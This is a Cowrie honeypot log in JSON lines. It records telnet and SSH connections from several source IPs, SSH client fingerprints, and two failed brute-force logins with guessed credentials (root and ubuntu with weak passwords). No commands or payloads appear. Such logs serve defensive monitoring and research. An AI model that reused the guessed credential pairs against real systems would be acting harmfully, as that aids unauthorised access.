{"eventid":"cowrie.session.closed","duration":35.30897617340088,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:40.008605Z","src_ip":"104.245.105.2","session":"b369a1974bb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.052510023117065,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:48.633655Z","src_ip":"206.189.32.23","session":"e1c1c7dd1ef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57692,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaeffaaffc53","protocol":"telnet","message":"New connection: 104.245.105.2:57692 (10.17.0.5:23) [session: aaeffaaffc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:49.142920Z"}
{"eventid":"cowrie.session.closed","duration":44.47929811477661,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:49.641695Z","src_ip":"206.189.32.23","session":"4656fdc8e789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43406,"dst_ip":"10.17.0.5","dst_port":23,"session":"132594bda63d","protocol":"telnet","message":"New connection: 104.245.105.2:43406 (10.17.0.5:23) [session: 132594bda63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:51.095709Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.202","src_port":51972,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7d2ba22f85c","protocol":"telnet","message":"New connection: 38.191.219.202:51972 (159.203.135.109:23) [session: b7d2ba22f85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:51.789196Z"}
{"eventid":"cowrie.session.closed","duration":46.58671259880066,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:54.153547Z","src_ip":"206.189.32.23","session":"22210a24a8c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":45836,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a7090360b19","protocol":"ssh","message":"New connection: 193.24.211.95:45836 (159.203.135.109:22) [session: 6a7090360b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:56.003409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:56.007945Z","src_ip":"193.24.211.95","session":"6a7090360b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:56.118828Z","src_ip":"193.24.211.95","session":"6a7090360b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fucker","message":"login attempt [root/fucker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:56.554843Z","src_ip":"193.24.211.95","session":"6a7090360b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.466609716415405,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:56.699499Z","src_ip":"104.245.105.2","session":"c8fb7d176a5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43408,"dst_ip":"10.17.0.5","dst_port":23,"session":"b147f8b64251","protocol":"telnet","message":"New connection: 104.245.105.2:43408 (10.17.0.5:23) [session: b147f8b64251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:57.247919Z"}
{"eventid":"cowrie.session.closed","duration":39.899760246276855,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:57.327276Z","src_ip":"104.245.105.2","session":"bd6cfeb95542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.12879514694214,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:57.578117Z","src_ip":"206.189.32.23","session":"40693d917088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:57.666422Z","src_ip":"193.24.211.95","session":"6a7090360b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.60586094856262,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:58.683701Z","src_ip":"104.245.105.2","session":"5f003b4d7620","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.648580074310303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:46:59.068612Z","src_ip":"43.142.113.25","session":"8db870c9d3e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42416,"dst_ip":"10.17.0.5","dst_port":23,"session":"817d95c11bca","protocol":"telnet","message":"New connection: 104.245.105.2:42416 (10.17.0.5:23) [session: 817d95c11bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:01.147819Z"}
{"eventid":"cowrie.session.closed","duration":44.1084623336792,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:03.012445Z","src_ip":"104.245.105.2","session":"956b5507c261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26415729522705,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:04.995581Z","src_ip":"104.245.105.2","session":"37e580e625e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.449418783187866,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:06.050031Z","src_ip":"188.208.141.113","session":"704a6d56e688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287843227386475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:08.454559Z","src_ip":"104.245.105.2","session":"07cd917e3d0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015713453292847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:08.991288Z","src_ip":"104.245.105.2","session":"f6c6e4225d43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46552,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d26e886906","protocol":"telnet","message":"New connection: 104.245.105.2:46552 (10.17.0.5:23) [session: 90d26e886906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:11.631369Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46558,"dst_ip":"10.17.0.5","dst_port":23,"session":"78f0834503d1","protocol":"telnet","message":"New connection: 104.245.105.2:46558 (10.17.0.5:23) [session: 78f0834503d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:11.867598Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46572,"dst_ip":"10.17.0.5","dst_port":23,"session":"932a5bcbd440","protocol":"telnet","message":"New connection: 104.245.105.2:46572 (10.17.0.5:23) [session: 932a5bcbd440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:15.524524Z"}
{"eventid":"cowrie.session.closed","duration":31.511781454086304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:20.654511Z","src_ip":"104.245.105.2","session":"aaeffaaffc53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":57736,"dst_ip":"10.17.0.5","dst_port":22,"session":"f983e66eb107","protocol":"ssh","message":"New connection: 190.108.60.10:57736 (10.17.0.5:22) [session: f983e66eb107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:22.080286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:22.085595Z","src_ip":"190.108.60.10","session":"f983e66eb107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:22.274562Z","src_ip":"190.108.60.10","session":"f983e66eb107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.85965132713318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:22.955203Z","src_ip":"104.245.105.2","session":"132594bda63d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"administrator","message":"login attempt [ubuntu/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:23.080336Z","src_ip":"190.108.60.10","session":"f983e66eb107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41894,"dst_ip":"10.17.0.5","dst_port":23,"session":"a309a1c16ad8","protocol":"telnet","message":"New connection: 206.189.32.23:41894 (10.17.0.5:23) [session: a309a1c16ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:23.524415Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:24.269698Z","src_ip":"190.108.60.10","session":"f983e66eb107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38428,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7206026768c","protocol":"telnet","message":"New connection: 104.245.105.2:38428 (10.17.0.5:23) [session: a7206026768c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:27.685850Z"}
{"eventid":"cowrie.session.closed","duration":4.319621562957764,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:27.843951Z","src_ip":"206.189.32.23","session":"a309a1c16ad8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44608,"dst_ip":"10.17.0.5","dst_port":23,"session":"79f17cfac0b3","protocol":"telnet","message":"New connection: 188.208.141.113:44608 (10.17.0.5:23) [session: 79f17cfac0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:28.669480Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38436,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f2edff61a8e","protocol":"telnet","message":"New connection: 104.245.105.2:38436 (10.17.0.5:23) [session: 1f2edff61a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:29.473272Z"}
{"eventid":"cowrie.session.closed","duration":32.51731896400452,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:29.757312Z","src_ip":"104.245.105.2","session":"b147f8b64251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42282,"dst_ip":"10.17.0.5","dst_port":23,"session":"9182cd495731","protocol":"telnet","message":"New connection: 104.245.105.2:42282 (10.17.0.5:23) [session: 9182cd495731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:30.121165Z"}
{"eventid":"cowrie.session.closed","duration":31.597757577896118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:32.745489Z","src_ip":"104.245.105.2","session":"817d95c11bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52784,"dst_ip":"10.17.0.5","dst_port":23,"session":"591cc71ff5a6","protocol":"telnet","message":"New connection: 206.189.32.23:52784 (10.17.0.5:23) [session: 591cc71ff5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:34.159572Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55070,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c3bb939e6b3","protocol":"telnet","message":"New connection: 206.189.32.23:55070 (10.17.0.5:23) [session: 6c3bb939e6b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:35.450352Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42284,"dst_ip":"10.17.0.5","dst_port":23,"session":"438fac6a0f62","protocol":"telnet","message":"New connection: 104.245.105.2:42284 (10.17.0.5:23) [session: 438fac6a0f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:35.974273Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42296,"dst_ip":"10.17.0.5","dst_port":23,"session":"523a3e9d6373","protocol":"telnet","message":"New connection: 104.245.105.2:42296 (10.17.0.5:23) [session: 523a3e9d6373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:38.076462Z"}
{"eventid":"cowrie.session.closed","duration":4.008408546447754,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:39.458654Z","src_ip":"206.189.32.23","session":"6c3bb939e6b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59186,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11c1a1d3a80","protocol":"telnet","message":"New connection: 104.245.105.2:59186 (10.17.0.5:23) [session: d11c1a1d3a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:41.474049Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59194,"dst_ip":"10.17.0.5","dst_port":23,"session":"890c170574a8","protocol":"telnet","message":"New connection: 104.245.105.2:59194 (10.17.0.5:23) [session: 890c170574a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:42.635413Z"}
{"eventid":"cowrie.session.closed","duration":31.178898096084595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:43.046336Z","src_ip":"104.245.105.2","session":"78f0834503d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59198,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3bbf9ce1c6","protocol":"telnet","message":"New connection: 104.245.105.2:59198 (10.17.0.5:23) [session: ea3bbf9ce1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:43.524650Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ee0b06a355a","protocol":"telnet","message":"New connection: 104.245.105.2:59202 (10.17.0.5:23) [session: 3ee0b06a355a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:45.180670Z"}
{"eventid":"cowrie.session.closed","duration":31.11362314224243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:46.638031Z","src_ip":"104.245.105.2","session":"932a5bcbd440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59204,"dst_ip":"10.17.0.5","dst_port":23,"session":"663e43b03c75","protocol":"telnet","message":"New connection: 104.245.105.2:59204 (10.17.0.5:23) [session: 663e43b03c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:47.407598Z"}
{"eventid":"cowrie.session.closed","duration":39.115100383758545,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:50.746350Z","src_ip":"104.245.105.2","session":"90d26e886906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57698,"dst_ip":"10.17.0.5","dst_port":23,"session":"26fdd5464507","protocol":"telnet","message":"New connection: 104.245.105.2:57698 (10.17.0.5:23) [session: 26fdd5464507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:51.694715Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57682,"dst_ip":"10.17.0.5","dst_port":23,"session":"b18d4205e179","protocol":"telnet","message":"New connection: 104.245.105.2:57682 (10.17.0.5:23) [session: b18d4205e179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:52.655655Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57706,"dst_ip":"10.17.0.5","dst_port":23,"session":"792142d34b9f","protocol":"telnet","message":"New connection: 104.245.105.2:57706 (10.17.0.5:23) [session: 792142d34b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:53.247112Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57722,"dst_ip":"10.17.0.5","dst_port":23,"session":"391f38267c65","protocol":"telnet","message":"New connection: 104.245.105.2:57722 (10.17.0.5:23) [session: 391f38267c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:54.812012Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57728,"dst_ip":"10.17.0.5","dst_port":23,"session":"fedad95e926d","protocol":"telnet","message":"New connection: 104.245.105.2:57728 (10.17.0.5:23) [session: fedad95e926d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:58.105200Z"}
{"eventid":"cowrie.session.closed","duration":31.897237062454224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:47:59.582978Z","src_ip":"104.245.105.2","session":"a7206026768c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.671937704086304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:00.145067Z","src_ip":"104.245.105.2","session":"1f2edff61a8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41228,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2a7d9e9178d","protocol":"telnet","message":"New connection: 104.245.105.2:41228 (10.17.0.5:23) [session: f2a7d9e9178d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:01.104010Z"}
{"eventid":"cowrie.session.closed","duration":32.38684821128845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:02.507893Z","src_ip":"104.245.105.2","session":"9182cd495731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52488,"dst_ip":"10.17.0.5","dst_port":23,"session":"75482188ea5e","protocol":"telnet","message":"New connection: 188.208.141.113:52488 (10.17.0.5:23) [session: 75482188ea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:06.406231Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52502,"dst_ip":"10.17.0.5","dst_port":23,"session":"55913a23d20c","protocol":"telnet","message":"New connection: 188.208.141.113:52502 (10.17.0.5:23) [session: 55913a23d20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:06.736909Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41242,"dst_ip":"10.17.0.5","dst_port":23,"session":"359af7a0a6e1","protocol":"telnet","message":"New connection: 104.245.105.2:41242 (10.17.0.5:23) [session: 359af7a0a6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:06.824555Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41254,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b29232de53","protocol":"telnet","message":"New connection: 104.245.105.2:41254 (10.17.0.5:23) [session: 15b29232de53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:07.815979Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41266,"dst_ip":"10.17.0.5","dst_port":23,"session":"38afb7ab81e1","protocol":"telnet","message":"New connection: 104.245.105.2:41266 (10.17.0.5:23) [session: 38afb7ab81e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:07.988959Z"}
{"eventid":"cowrie.session.closed","duration":39.59179353713989,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:48:08.261146Z","src_ip":"188.208.141.113","session":"79f17cfac0b3","protocol":"telnet"}
